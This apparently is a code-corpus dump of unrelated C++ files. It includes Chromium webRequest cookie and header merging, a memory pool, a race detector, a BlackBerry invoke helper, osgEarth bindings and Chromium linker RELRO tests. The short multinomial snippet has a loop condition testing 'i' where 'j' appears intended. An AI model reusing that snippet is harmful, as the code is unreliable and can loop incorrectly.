IsStringLowerCaseASCII));
DCHECK(base::ranges::includes(
*set_headers,
base::STLSetUnion<std::set<std::string>>(
web_request_added_headers, web_request_overridden_headers)));
DCHECK(base::STLSetIntersection<std::set<std::string>>(
web_request_added_headers, web_request_overridden_headers)
.empty());
DCHECK(base::STLSetIntersection<std::set<std::string>>(*removed_headers,
*set_headers)
.empty());
DCHECK(base::ranges::includes(*removed_headers, web_request_removed_headers));
// Record request header removals, additions and modifications.
record_request_headers(web_request_removed_headers,
&RecordRequestHeaderRemoved);
record_request_headers(web_request_added_headers, &RecordRequestHeaderAdded);
record_request_headers(web_request_overridden_headers,
&RecordRequestHeaderChanged);
// Currently, conflicts are ignored while merging cookies.
MergeCookiesInOnBeforeSendHeadersResponses(request.url, deltas,
request_headers);
}
// Retrieves all cookies from |override_response_headers|.
static ParsedResponseCookies GetResponseCookies(
scoped_refptr<net::HttpResponseHeaders> override_response_headers) {
ParsedResponseCookies result;
size_t iter = 0;
std::string value;
while (
override_response_headers->EnumerateHeader(&iter, "Set-Cookie", &value)) {
result.push_back(std::make_unique<net::ParsedCookie>(value));
}
return result;
}
// Stores all |cookies| in |override_response_headers| deleting previously
// existing cookie definitions.
static void StoreResponseCookies(
const ParsedResponseCookies& cookies,
scoped_refptr<net::HttpResponseHeaders> override_response_headers) {
override_response_headers->RemoveHeader("Set-Cookie");
for (const std::unique_ptr<net::ParsedCookie>& cookie : cookies) {
override_response_headers->AddHeader("Set-Cookie", cookie->ToCookieLine());
}
}
// Modifies |cookie| according to |modification|. Each value that is set in
// |modification| is applied to |cookie|.
static bool ApplyResponseCookieModification(const ResponseCookie& modification,
net::ParsedCookie* cookie) {
bool modified = false;
if (modification.name.has_value())
modified |= cookie->SetName(*modification.name);
if (modification.value.has_value())
modified |= cookie->SetValue(*modification.value);
if (modification.expires.has_value())
modified |= cookie->SetExpires(*modification.expires);
if (modification.max_age.has_value())
modified |= cookie->SetMaxAge(base::NumberToString(*modification.max_age));
if (modification.domain.has_value())
modified |= cookie->SetDomain(*modification.domain);
if (modification.path.has_value())
modified |= cookie->SetPath(*modification.path);
if (modification.secure.has_value())
modified |= cookie->SetIsSecure(*modification.secure);
if (modification.http_only.has_value())
modified |= cookie->SetIsHttpOnly(*modification.http_only);
return modified;
}
static bool DoesResponseCookieMatchFilter(
const net::ParsedCookie& cookie,
const absl::optional<FilterResponseCookie>& filter) {
if (!cookie.IsValid())
return false;
if (!filter.has_value())
return true;
if (filter->name && cookie.Name() != *filter->name)
return false;
if (filter->value && cookie.Value() != *filter->value)
return false;
if (filter->expires) {
std::string actual_value =
cookie.HasExpires() ? cookie.Expires() : std::string();
if (actual_value != *filter->expires)
return false;
}
if (filter->max_age) {
std::string actual_value =
cookie.HasMaxAge() ? cookie.MaxAge() : std::string();
if (actual_value != base::NumberToString(*filter->max_age))
return false;
}
if (filter->domain) {
std::string actual_value =
cookie.HasDomain() ? cookie.Domain() : std::string();
if (actual_value != *filter->domain)
return false;
}
if (filter->path) {
std::string actual_value = cookie.HasPath() ? cookie.Path() : std::string();
if (actual_value != *filter->path)
return false;
}
if (filter->secure && cookie.IsSecure() != *filter->secure)
return false;
if (filter->http_only && cookie.IsHttpOnly() != *filter->http_only)
return false;
if (filter->age_upper_bound || filter->age_lower_bound ||
(filter->session_cookie && *filter->session_cookie)) {
int64_t seconds_to_expiry;
bool lifetime_parsed = ParseCookieLifetime(cookie, &seconds_to_expiry);
if (filter->age_upper_bound && seconds_to_expiry > *filter->age_upper_bound)
return false;
if (filter->age_lower_bound && seconds_to_expiry < *filter->age_lower_bound)
return false;
if (filter->session_cookie && *filter->session_cookie && lifetime_parsed)
return false;
}
return true;
}
// Applies all CookieModificationType::ADD operations for response cookies of
// |deltas| to |cookies|. Returns whether any cookie was added.
static bool MergeAddResponseCookieModifications(
const EventResponseDeltas& deltas,
ParsedResponseCookies* cookies) {
bool modified = false;
// We assume here that the deltas are sorted in decreasing extension
// precedence (i.e. decreasing extension installation time).
for (const auto& delta : base::Reversed(deltas)) {
const ResponseCookieModifications& modifications =
delta.response_cookie_modifications;
for (const auto& mod : modifications) {
if (mod.type != ADD || !mod.modification.has_value())
continue;
// Cookie names are not unique in response cookies so we always append
// and never override.
auto cookie = std::make_unique<net::ParsedCookie>(std::string());
ApplyResponseCookieModification(mod.modification.value(), cookie.get());
cookies->push_back(std::move(cookie));
modified = true;
}
}
return modified;
}
// Applies all CookieModificationType::EDIT operations for response cookies of
// |deltas| to |cookies|. Returns whether any cookie was modified.
static bool MergeEditResponseCookieModifications(
const EventResponseDeltas& deltas,
ParsedResponseCookies* cookies) {
bool modified = false;
// We assume here that the deltas are sorted in decreasing extension
// precedence (i.e. decreasing extension installation time).
for (const auto& delta : base::Reversed(deltas)) {
const ResponseCookieModifications& modifications =
delta.response_cookie_modifications;
for (const auto& mod : modifications) {
if (mod.type != EDIT || !mod.modification.has_value())
continue;
for (const std::unique_ptr<net::ParsedCookie>& cookie : *cookies) {
if (DoesResponseCookieMatchFilter(*cookie.get(), mod.filter)) {
modified |= ApplyResponseCookieModification(mod.modification.value(),
cookie.get());
}
}
}
}
return modified;
}
// Applies all CookieModificationType::REMOVE operations for response cookies of
// |deltas| to |cookies|. Returns whether any cookie was deleted.
static bool MergeRemoveResponseCookieModifications(
const EventResponseDeltas& deltas,
ParsedResponseCookies* cookies) {
bool modified = false;
// We assume here that the deltas are sorted in decreasing extension
// precedence (i.e. decreasing extension installation time).
for (const auto& delta : base::Reversed(deltas)) {
const ResponseCookieModifications& modifications =
delta.response_cookie_modifications;
for (auto mod = modifications.cbegin(); mod != modifications.cend();
++mod) {
if (mod->type != REMOVE)
continue;
auto i = cookies->begin();
while (i != cookies->end()) {
if (DoesResponseCookieMatchFilter(*i->get(), mod->filter)) {
i = cookies->erase(i);
modified = true;
} else {
++i;
}
}
}
}
return modified;
}
void MergeCookiesInOnHeadersReceivedResponses(
const GURL& url,
const EventResponseDeltas& deltas,
const net::HttpResponseHeaders* original_response_headers,
scoped_refptr<net::HttpResponseHeaders>* override_response_headers) {
// Skip all work if there are no registered cookie modifications.
bool cookie_modifications_exist = false;
for (const auto& delta : base::Reversed(deltas)) {
cookie_modifications_exist |= !delta.response_cookie_modifications.empty();
}
if (!cookie_modifications_exist)
return;
// Only create a copy if we really want to modify the response headers.
if (override_response_headers->get() == NULL) {
*override_response_headers = base::MakeRefCounted<net::HttpResponseHeaders>(
original_response_headers->raw_headers());
}
ParsedResponseCookies cookies =
GetResponseCookies(*override_response_headers);
bool modified = false;
modified |= MergeAddResponseCookieModifications(deltas, &cookies);
modified |= MergeEditResponseCookieModifications(deltas, &cookies);
modified |= MergeRemoveResponseCookieModifications(deltas, &cookies);
// Store new value.
if (modified)
StoreResponseCookies(cookies, *override_response_headers);
}
// Converts the key of the (key, value) pair to lower case.
static ResponseHeader ToLowerCase(const ResponseHeader& header) {
return ResponseHeader(base::ToLowerASCII(header.first), header.second);
}
void MergeOnHeadersReceivedResponses(
const extensions::WebRequestInfo& request,
const EventResponseDeltas& deltas,
const net::HttpResponseHeaders* original_response_headers,
scoped_refptr<net::HttpResponseHeaders>* override_response_headers,
GURL* preserve_fragment_on_redirect_url,
IgnoredActions* ignored_actions,
bool* response_headers_modified,
std::vector<const DNRRequestAction*>* matched_dnr_actions) {
DCHECK(response_headers_modified);
*response_headers_modified = false;
DCHECK(request.dnr_actions);
DCHECK(matched_dnr_actions);
std::map<base::StringPiece, std::vector<DNRHeaderAction>> dnr_header_actions;
for (const auto& action : *request.dnr_actions) {
bool headers_modified_for_action = ModifyResponseHeadersForAction(
original_response_headers, override_response_headers, action,
&dnr_header_actions);
*response_headers_modified |= headers_modified_for_action;
if (headers_modified_for_action)
matched_dnr_actions->push_back(&action);
}
// Here we collect which headers we have removed or added so far due to
// extensions of higher precedence. Header keys are always stored as
// lower case.
std::set<ResponseHeader> removed_headers;
std::set<ResponseHeader> added_headers;
// We assume here that the deltas are sorted in decreasing extension
// precedence (i.e. decreasing extension installation time).
for (const auto& delta : deltas) {
if (delta.added_response_headers.empty() &&
delta.deleted_response_headers.empty()) {
continue;
}
// Only create a copy if we really want to modify the response headers.
if (override_response_headers->get() == nullptr) {
*override_response_headers =
base::MakeRefCounted<net::HttpResponseHeaders>(
original_response_headers->raw_headers());
}
// We consider modifications as pairs of (delete, add) operations.
// If a header is deleted twice by different extensions we assume that the
// intention was to modify it to different values and consider this a
// conflict. As deltas is sorted by decreasing extension installation order,
// this takes care of precedence.
bool extension_conflicts = false;
for (const ResponseHeader& header : delta.deleted_response_headers) {
ResponseHeader lowercase_header(ToLowerCase(header));
if (base::Contains(removed_headers, lowercase_header) ||
base::Contains(dnr_header_actions, lowercase_header.first)) {
extension_conflicts = true;
break;
}
}
// Prevent extensions from adding any response header which was specified to
// be removed or set by the Declarative Net Request API. However, multiple
// appends are allowed.
if (!extension_conflicts) {
for (const ResponseHeader& header : delta.added_response_headers) {
ResponseHeader lowercase_header(ToLowerCase(header));
auto it = dnr_header_actions.find(lowercase_header.first);
if (it == dnr_header_actions.end())
continue;
// Multiple appends are allowed.
if (it->second[0].header_info->operation !=
dnr_api::HEADER_OPERATION_APPEND) {
extension_conflicts = true;
break;
}
}
}
// Now execute the modifications if there were no conflicts.
if (!extension_conflicts) {
// Delete headers
{
for (const ResponseHeader& header : delta.deleted_response_headers) {
(*override_response_headers)
->RemoveHeaderLine(header.first, header.second);
removed_headers.insert(ToLowerCase(header));
}
}
// Add headers.
{
for (const ResponseHeader& header : delta.added_response_headers) {
ResponseHeader lowercase_header(ToLowerCase(header));
if (added_headers.find(lowercase_header) != added_headers.end())
continue;
added_headers.insert(lowercase_header);
(*override_response_headers)->AddHeader(header.first, header.second);
}
}
*response_headers_modified = true;
} else {
ignored_actions->emplace_back(
delta.extension_id,
web_request::IGNORED_ACTION_TYPE_RESPONSE_HEADERS);
}
}
// Currently, conflicts are ignored while merging cookies.
MergeCookiesInOnHeadersReceivedResponses(request.url, deltas,
original_response_headers,
override_response_headers);
GURL new_url;
MergeRedirectUrlOfResponses(request.url, deltas, &new_url, ignored_actions);
if (new_url.is_valid()) {
// Only create a copy if we really want to modify the response headers.
if (override_response_headers->get() == NULL) {
*override_response_headers =
base::MakeRefCounted<net::HttpResponseHeaders>(
original_response_headers->raw_headers());
}
(*override_response_headers)->ReplaceStatusLine("HTTP/1.1 302 Found");
(*override_response_headers)->SetHeader("Location", new_url.spec());
// Prevent the original URL's fragment from being added to the new URL.
*preserve_fragment_on_redirect_url = new_url;
}
// Record metrics.
{
auto record_response_headers =
[](const std::set<base::StringPiece>& headers,
void (*record_func)(ResponseHeaderType)) {
if (headers.empty()) {
record_func(ResponseHeaderType::kNone);
return;
}
for (const auto& header : headers)
RecordResponseHeader(header, record_func);
};
std::set<base::StringPiece> modified_header_names;
std::set<base::StringPiece> added_header_names;
std::set<base::StringPiece> removed_header_names;
for (const ResponseHeader& header : added_headers) {
// Skip logging this header if this was subsequently removed by an
// extension.
if (!override_response_headers->get()->HasHeader(header.first))
continue;
if (original_response_headers->HasHeader(header.first))
modified_header_names.insert(header.first);
else
added_header_names.insert(header.first);
}
for (const ResponseHeader& header : removed_headers) {
if (!override_response_headers->get()->HasHeader(header.first))
removed_header_names.insert(header.first);
else
modified_header_names.insert(header.first);
}
DCHECK(std::all_of(modified_header_names.begin(),
modified_header_names.end(), IsStringLowerCaseASCII));
DCHECK(std::all_of(added_header_names.begin(), added_header_names.end(),
IsStringLowerCaseASCII));
DCHECK(std::all_of(removed_header_names.begin(), removed_header_names.end(),
IsStringLowerCaseASCII));
record_response_headers(modified_header_names,
&RecordResponseHeaderChanged);
record_response_headers(added_header_names, &RecordResponseHeaderAdded);
record_response_headers(removed_header_names, &RecordResponseHeaderRemoved);
}
}
bool MergeOnAuthRequiredResponses(const EventResponseDeltas& deltas,
net::AuthCredentials* auth_credentials,
IgnoredActions* ignored_actions) {
CHECK(auth_credentials);
bool credentials_set = false;
for (const auto& delta : deltas) {
if (!delta.auth_credentials.has_value())
continue;
bool different =
auth_credentials->username() != delta.auth_credentials->username() ||
auth_credentials->password() != delta.auth_credentials->password();
if (credentials_set && different) {
ignored_actions->emplace_back(
delta.extension_id,
web_request::IGNORED_ACTION_TYPE_AUTH_CREDENTIALS);
} else {
*auth_credentials = *delta.auth_credentials;
credentials_set = true;
}
}
return credentials_set;
}
void ClearCacheOnNavigation() {
if (content::BrowserThread::CurrentlyOn(content::BrowserThread::UI)) {
ClearCacheOnNavigationOnUI();
} else {
content::GetUIThreadTaskRunner({})->PostTask(
FROM_HERE, base::BindOnce(&ClearCacheOnNavigationOnUI));
}
}
// Converts the |name|, |value| pair of a http header to a HttpHeaders
// dictionary.
std::unique_ptr<base::DictionaryValue> CreateHeaderDictionary(
const std::string& name,
const std::string& value) {
auto header = std::make_unique<base::DictionaryValue>();
header->SetString(keys::kHeaderNameKey, name);
if (base::IsStringUTF8(value)) {
header->SetString(keys::kHeaderValueKey, value);
} else {
header->Set(keys::kHeaderBinaryValueKey,
std::make_unique<base::Value>(StringToCharList(value)));
}
return header;
}
bool ShouldHideRequestHeader(content::BrowserContext* browser_context,
int extra_info_spec,
const std::string& name) {
static constexpr auto kRequestHeaders =
base::MakeFixedFlatSet<base::StringPiece>({"accept-encoding",
"accept-language", "cookie",
"origin", "referer"});
return !(extra_info_spec & ExtraInfoSpec::EXTRA_HEADERS) &&
base::Contains(kRequestHeaders, base::ToLowerASCII(name));
}
bool ShouldHideResponseHeader(int extra_info_spec, const std::string& name) {
return !(extra_info_spec & ExtraInfoSpec::EXTRA_HEADERS) &&
base::LowerCaseEqualsASCII(name, "set-cookie");
}
bool ArePublicSessionRestrictionsEnabled() {
#if BUILDFLAG(IS_CHROMEOS_ASH)
return chromeos::LoginState::IsInitialized() &&
chromeos::LoginState::Get()->ArePublicSessionRestrictionsEnabled();
#elif BUILDFLAG(IS_CHROMEOS_LACROS)
DCHECK(chromeos::LacrosService::Get());
return chromeos::LacrosService::Get()->init_params()->session_type ==
crosapi::mojom::SessionType::kPublicSession;
#else
return false;
#endif
}
} // namespace extension_web_request_api_helpers
| 67,660 | 19,610 |
#pragma once
#include <forward_list>
#include <memory>
namespace nonstd {
template<typename T>
class memory_pool {
public:
using size_type = std::size_t;
static constexpr auto default_page_size = 512u;
private:
union block {
alignas(T) char space[sizeof(T)];
block* next;
};
block* head_{nullptr};
size_type page_size_{default_page_size};
std::forward_list<std::unique_ptr<block[]>> pages_;
public:
memory_pool(size_type page_size = default_page_size) noexcept: page_size_{page_size} { }
memory_pool(memory_pool const&) = delete;
memory_pool& operator = (memory_pool const&) = delete;
memory_pool(memory_pool&& other) noexcept:
head_{other.head_}, page_size_{other.page_size_}, pages_{std::move(other.pages_)} {
other.head_ = nullptr;
}
memory_pool& operator = (memory_pool&& other) noexcept {
head_ = other.head_; other.head_ = nullptr;
page_size_ = other.page_size_;
pages_ = std::move(other.pages_);
return *this;
}
~memory_pool() {
auto* each_block = head_;
// construct all free blocks in current page
while(each_block != nullptr) {
auto* next_block = each_block->next;
new(each_block->space) T;
each_block = next_block;
}
// destruct all pages
for(auto& each_page: pages_) {
auto* begin = each_page.get();
auto* end = each_page.get() + page_size_;
for(auto* each_block = begin; each_block != end; ++each_block)
reinterpret_cast<T*>(each_block->space)->~T();
}
}
template<typename... Types>
T* create(Types&&... arguments) {
return new(allocate()) T(std::forward<Types>(arguments)...);
}
void destroy(T* object) noexcept {
object->~T();
free(reinterpret_cast<block*>(object));
}
private:
char* allocate() {
if(!head_)
add_page();
char* block = head_->space;
head_ = head_->next;
return block;
}
void free(block* block) noexcept {
block->next = head_;
head_ = block;
}
void add_page() {
auto new_page = std::make_unique<block[]>(page_size_);
auto* begin = new_page.get();
auto* end = new_page.get() + page_size_ - 1;
for(auto* each_block = begin; each_block != end; ++each_block) {
each_block->next = (each_block + 1);
}
end->next = nullptr;
head_ = begin;
pages_.emplace_front(std::move(new_page));
}
}; // memory_pool
} // namespace nonstd
| 3,048 | 909 |
#include "check_mem.h"
#include "mem_access.h"
//#include "list.h"
void print_num_of_readers(MemAccess_t *mem) {
uint32_t counter = 0;
while (mem != NULL) {
counter++;
mem = mem->next;
}
fprintf(stderr, "# of readers: %u\n", counter);
}
void report_race() {
// to-do: report race here
}
void handle_write(MemAccessList_t* slot, addr_t rip, addr_t addr,
size_t mem_size) {
const int start = ADDR_TO_MEM_INDEX(addr);
const int grains = SIZE_TO_NUM_GRAINS(mem_size);
//assert(start >= 0 && start < NUM_SLOTS && (start + grains) <= NUM_SLOTS);
assert(start >= 0);
assert(start < NUM_SLOTS);
// This may not be true, e.g. when start == 1...
assert((start + grains) <= NUM_SLOTS);
for (int i{start}; i < (start + grains); ++i) {
//MemAccess_t *writer = slot->writers[i];
MemAccess_t *writer = slot->writers[i];
if(writer == NULL) {
//writer = new MemAccess_t(current, rip);
writer = new MemAccess_t(current, NULL);
pthread_spin_lock(&slot->writers_lock);
if(slot->writers[i] == NULL) {
slot->writers[i] = writer;
}
pthread_spin_unlock(&slot->writers_lock);
if(writer == slot->writers[i]) continue;
else { // was NULL but some other logically parallel strand updated it
delete writer;
writer = slot->writers[i];
}
}
// At this point, someone else may come along and write into writers[i]...
// om_assert(writer == writers[i]);
om_assert(writer);
// om_assert(writer->estrand != curr_estrand &&
// writer->hstrand != curr_hstrand);
if (writer->accessor->english != current->english) {
bool race = false;
QUERY_START;
race = !Precedes(writer->accessor, current);
//&& !Precedes(current, writer->accessor);
QUERY_END;
if (race) report_race();
}
pthread_spin_lock(&slot->writers_lock);
// replace the last writer regardless
//writers[i]->update_acc_info(curr_estrand, curr_hstrand, inst_addr);
slot->writers[i]->accessor = current;
//slot->writers[i]->rip = rip;
pthread_spin_unlock(&slot->writers_lock);
}
// update readers
//for (int i{start}; i < (start + grains); ++i) {
// MemAccess_t *reader = slot->readers[i];
// if (reader)
// new (reader) MemAccess_t{current, rip};
// else
// slot->readers[i] = new MemAccess_t{current, rip};
//}
for(int i = start; i < (start + grains); i++) {
MemAccess_t *reader = slot->readers[i];
while (reader != NULL) {
bool race = false;
QUERY_START;
race = !Precedes(reader->accessor, current);
QUERY_END;
if (race) report_race();
MemAccess_t *old = reader;
reader = reader->next;
delete old; // to-do: we could recycle this reader to thread-local pool
}
slot->readers[i] = NULL;
}
}
void handle_read(MemAccessList_t* slot, addr_t rip, addr_t addr,
size_t mem_size) {
const int start = ADDR_TO_MEM_INDEX(addr);
const int grains = SIZE_TO_NUM_GRAINS(mem_size);
//assert(start >= 0 && start < NUM_SLOTS && (start + grains) <= NUM_SLOTS);
assert(start >= 0);
assert(start < NUM_SLOTS);
// TODO: As far as I can tell, this may not be true, e.g. when start == 1...
// Update: have not seen this in a while, I think something else was
// wrong at the time.
//if ((start + grains) > NUM_SLOTS) {
// fprintf(stderr, "start=%i, grains=%i, NUM_SLOTS=%i, size=%zu\n",
// start, grains, NUM_SLOTS, mem_size);
//}
assert((start + grains) <= NUM_SLOTS);
for(int i = start; i < (start + grains); i++) {
MemAccess_t *writer = slot->writers[i]; // can be NULL
if (writer == NULL) continue;
bool race = false;
QUERY_START;
race = !Precedes(writer->accessor, current);
QUERY_END;
if (race) report_race();
}
for(int i = start; i < (start + grains); i++) {
MemAccess_t *reader = slot->readers[i];
if(reader == NULL) {
//reader = new MemAccess_t(current, rip);
reader = new MemAccess_t(current, NULL);
pthread_spin_lock(&slot->readers_lock);
if (slot->readers[i] == NULL) {
slot->readers[i] = reader;
}
pthread_spin_unlock(&slot->readers_lock);
if (reader == slot->readers[i]) {
continue;
} else {
//delete reader;
//reader = slot->readers[i];
reader->next = slot->readers[i];
slot->readers[i] = reader;
continue;
}
}
om_assert(reader != NULL);
pthread_spin_lock(&slot->readers_lock);
// deduplication
MemAccess_t *tmp = slot->readers[i];
bool allocated = false;
while (tmp != NULL) {
if (current == tmp->accessor) {
//assert(current->english == tmp->accessor->english);
allocated = true;
break;
}
tmp = tmp->next;
}
if (!allocated) {
slot->readers[i] = new MemAccess_t(current, reader);
}
//print_num_of_readers(slot->readers[i]);
pthread_spin_unlock(&slot->readers_lock);
}
}
void check_access(bool is_read, addr_t rip,
addr_t addr, size_t mem_size) {
auto slot = shadow_mem.find(ADDR_TO_KEY(addr));
//smem_data* current = active();
//assert(current);
assert(current->english);
if (slot == nullptr) {
// not in shadow memory; create a new MemAccessList_t and insert
MemAccessList_t *mem_list = new MemAccessList_t(addr, is_read, current, rip, mem_size);
slot = shadow_mem.insert(ADDR_TO_KEY(addr), mem_list);
if (slot != mem_list) {
delete mem_list;
} else {
return;
}
}
if (is_read) handle_read(slot, rip, addr, mem_size);
else handle_write(slot, rip, addr, mem_size);
}
| 5,700 | 2,121 |
/// source: KACTL
// ways to permute v[i]
ll multinomial(vi &v) {
ll c = 1, m = v.empty() ? 1 : v[0];
for (int i = 1; i < v.size(); i++)
for (int j = 0; i < v[i]; j++) c = c * ++m / (j + 1);
return c;
}
| 214 | 108 |
/*
* invokehelper.cpp
*
* Created on: 2016/02/15
* Author: CORDEA
*/
#include <src/invokehelper.h>
#include <bb/system/InvokeRequest>
#include <bb/system/InvokeManager>
using namespace bb::system;
InvokeHelper::InvokeHelper(QObject *parent) :
QObject(parent)
{
// TODO Auto-generated constructor stub
}
void InvokeHelper::openBrowser(QString url)
{
InvokeRequest request;
request.setTarget("sys.browser");
request.setAction("bb.action.OPEN");
request.setMimeType("text/html");
request.setUri(QUrl(url));
InvokeManager manager;
Q_UNUSED(manager.invoke(request));
}
| 621 | 215 |
#include "stdafx.h"
#include "oepOGRFeatureSourceOptions.h"
using namespace gEarthPack;
using namespace osgEarth::Drivers;
oepOGRFeatureSourceOptions::oepOGRFeatureSourceOptions()
{
bind(new OGRFeatureOptions(),true);
}
void gEarthPack::oepOGRFeatureSourceOptions::binded()
{
_geometryConfig = gcnew oepConfig();
_geometryConfig->bind(as<OGRFeatureOptions>()->geometryConfig());
_query = gcnew oepQuery();
_query->bind(as<OGRFeatureOptions>()->query());
}
void gEarthPack::oepOGRFeatureSourceOptions::unbinded()
{
_geometryConfig->unbind();
_query->unbind();
}
String^ oepOGRFeatureSourceOptions::Url::get()
{
return Str2Cli(as<OGRFeatureOptions>()->url()->full());
}
void oepOGRFeatureSourceOptions::Url::set(String^ p)
{
as<OGRFeatureOptions>()->url() = Str2Std(p);
NotifyChanged("Url");
}
String^ oepOGRFeatureSourceOptions::Connection::get()
{
return Str2Cli(as<OGRFeatureOptions>()->connection().value());
}
void oepOGRFeatureSourceOptions::Connection::set(String^ p)
{
as<OGRFeatureOptions>()->connection() = Str2Std(p);
}
String^ oepOGRFeatureSourceOptions::OgrDriver::get()
{
return Str2Cli(as<OGRFeatureOptions>()->ogrDriver().value());
}
void oepOGRFeatureSourceOptions::OgrDriver::set(String^ p)
{
as<OGRFeatureOptions>()->ogrDriver() = Str2Std(p);
NotifyChanged("OgrDriver");
}
bool oepOGRFeatureSourceOptions::BuildSpatialIndex::get()
{
return as<OGRFeatureOptions>()->buildSpatialIndex().value();
}
void oepOGRFeatureSourceOptions::BuildSpatialIndex::set(bool p)
{
as<OGRFeatureOptions>()->buildSpatialIndex() = p;
NotifyChanged("BuildSpatialIndex");
}
bool oepOGRFeatureSourceOptions::ForceRebuildSpatialIndex::get()
{
return as<OGRFeatureOptions>()->forceRebuildSpatialIndex().value();
}
void oepOGRFeatureSourceOptions::ForceRebuildSpatialIndex::set(bool p)
{
as<OGRFeatureOptions>()->forceRebuildSpatialIndex() = p;
NotifyChanged("ForceRebuildSpatialIndex");
}
oepConfig^ oepOGRFeatureSourceOptions::GeometryConfig::get()
{
return _geometryConfig;
}
void oepOGRFeatureSourceOptions::GeometryConfig::set(oepConfig^ p)
{
OGRFeatureOptions* to = as<OGRFeatureOptions>();
if (to != NULL && p != nullptr)
{
to->geometryConfig() = *(p->as<Config>());
NotifyChanged("GeometryConfig");
}
}
String^ oepOGRFeatureSourceOptions::GeometryUrl::get()
{
return Str2Cli(as<OGRFeatureOptions>()->geometryUrl().value());
}
void oepOGRFeatureSourceOptions::GeometryUrl::set(String^ p)
{
as<OGRFeatureOptions>()->geometryUrl() = Str2Std(p);
NotifyChanged("GeometryUrl");
}
String^ oepOGRFeatureSourceOptions::Layer::get()
{
return Str2Cli(as<OGRFeatureOptions>()->layer().value());
}
void oepOGRFeatureSourceOptions::Layer::set(String^ p)
{
as<OGRFeatureOptions>()->layer() = Str2Std(p);
NotifyChanged("Layer");
}
oepQuery^ oepOGRFeatureSourceOptions::Query::get()
{
return _query;
}
void oepOGRFeatureSourceOptions::Query::set(oepQuery^ p)
{
OGRFeatureOptions* to = as<OGRFeatureOptions>();
if (to != NULL && p != nullptr)
{
to->query() = *(p->as<osgEarth::Query>());
NotifyChanged("Query");
}
}
| 3,064 | 1,134 |
// Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// This file implements the native methods of
// org.content.chromium.app.LinkerTests
// Unlike the content of linker_jni.cc, it is part of the content library and
// can
// thus use base/ and the C++ STL.
#include "content/shell/android/linker_test_apk/chromium_linker_test_linker_tests.h"
#include <errno.h>
#include <sys/mman.h>
#include <stdio.h>
#include <string>
#include "base/basictypes.h"
#include "base/debug/proc_maps_linux.h"
#include "base/logging.h"
#include "base/strings/stringprintf.h"
#include "jni/LinkerTests_jni.h"
namespace content {
namespace {
using base::debug::MappedMemoryRegion;
jboolean RunChecks(bool in_browser_process, bool need_relros) {
// IMPORTANT NOTE: The Python test control script reads the logcat for
// lines like:
// BROWSER_LINKER_TEST: <status>
// RENDERER_LINKER_TEST: <status>
//
// Where <status> can be either SUCCESS or FAIL. Other lines starting
// with the same prefixes, but not using SUCCESS or FAIL are ignored.
const char* prefix =
in_browser_process ? "BROWSER_LINKER_TEST: " : "RENDERER_LINKER_TEST: ";
// The RELRO section(s), after being copied into an ashmem region, will
// appear in /proc/self/maps as a mapped memory region for a file name
// that begins with the following prefix.
//
// Note that the full name will be something like:
// "/dev/ashmem/RELRO:<libname> (deleted)"
//
// Where <libname> is the library name and '(deleted)' is actually
// added by the kernel to indicate there is no corresponding file
// on the filesystem.
//
// For regular builds, there is only one library, and thus one RELRO
// section, but for the component build, there are several libraries,
// each one with its own RELRO.
static const char kRelroSectionPrefix[] = "/dev/ashmem/RELRO:";
// Parse /proc/self/maps and builds a list of region mappings in this
// process.
std::string maps;
base::debug::ReadProcMaps(&maps);
if (maps.empty()) {
LOG(ERROR) << prefix << "FAIL Cannot parse /proc/self/maps";
return false;
}
std::vector<MappedMemoryRegion> regions;
base::debug::ParseProcMaps(maps, ®ions);
if (regions.empty()) {
LOG(ERROR) << prefix << "FAIL Cannot read memory mappings in this process";
return false;
}
size_t num_shared_relros = 0;
size_t num_bad_shared_relros = 0;
for (size_t n = 0; n < regions.size(); ++n) {
MappedMemoryRegion& region = regions[n];
if (region.path.find(kRelroSectionPrefix) != 0) {
// Ignore any mapping that isn't a shared RELRO.
continue;
}
num_shared_relros++;
void* region_start = reinterpret_cast<void*>(region.start);
void* region_end = reinterpret_cast<void*>(region.end);
// Check that it is mapped read-only.
const uint8 expected_flags = MappedMemoryRegion::READ;
const uint8 expected_mask = MappedMemoryRegion::READ |
MappedMemoryRegion::WRITE |
MappedMemoryRegion::EXECUTE;
uint8 region_flags = region.permissions & expected_mask;
if (region_flags != expected_flags) {
LOG(ERROR)
<< prefix
<< base::StringPrintf(
"Shared RELRO section at %p-%p is not mapped read-only. "
"Protection flags are %d (%d expected)!",
region_start,
region_end,
region_flags,
expected_flags);
num_bad_shared_relros++;
continue;
}
// Check that trying to remap it read-write fails with EACCES
size_t region_size = region.end - region.start;
int ret = ::mprotect(region_start, region_size, PROT_READ | PROT_WRITE);
if (ret != -1) {
LOG(ERROR)
<< prefix
<< base::StringPrintf(
"Shared RELRO section at %p-%p could be remapped read-write!?",
region_start,
region_end);
num_bad_shared_relros++;
// Just in case.
::mprotect(region_start, region_size, PROT_READ);
} else if (errno != EACCES) {
LOG(ERROR) << prefix << base::StringPrintf(
"Shared RELRO section at %p-%p failed "
"read-write mprotect with "
"unexpected error %d (EACCES:%d wanted): %s",
region_start,
region_end,
errno,
EACCES,
strerror(errno));
num_bad_shared_relros++;
}
}
VLOG(0)
<< prefix
<< base::StringPrintf(
"There are %d shared RELRO sections in this process, %d are bad",
num_shared_relros,
num_bad_shared_relros);
if (num_bad_shared_relros > 0) {
LOG(ERROR) << prefix << "FAIL Bad Relros sections in this process";
return false;
}
if (need_relros) {
if (num_shared_relros == 0) {
LOG(ERROR) << prefix
<< "FAIL Missing shared RELRO sections in this process!";
return false;
}
} else {
if (num_shared_relros > 0) {
LOG(ERROR) << prefix << "FAIL Unexpected " << num_shared_relros
<< " shared RELRO sections in this process!";
return false;
}
}
VLOG(0) << prefix << "SUCCESS";
return true;
}
} // namespace
jboolean CheckForSharedRelros(JNIEnv* env,
jclass clazz,
jboolean in_browser_process) {
return RunChecks(in_browser_process, true);
}
jboolean CheckForNoSharedRelros(JNIEnv* env,
jclass clazz,
jboolean in_browser_process) {
return RunChecks(in_browser_process, false);
}
bool RegisterLinkerTestsJni(JNIEnv* env) { return RegisterNativesImpl(env); }
} // namespace content
| 6,064 | 1,873 |
/*
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
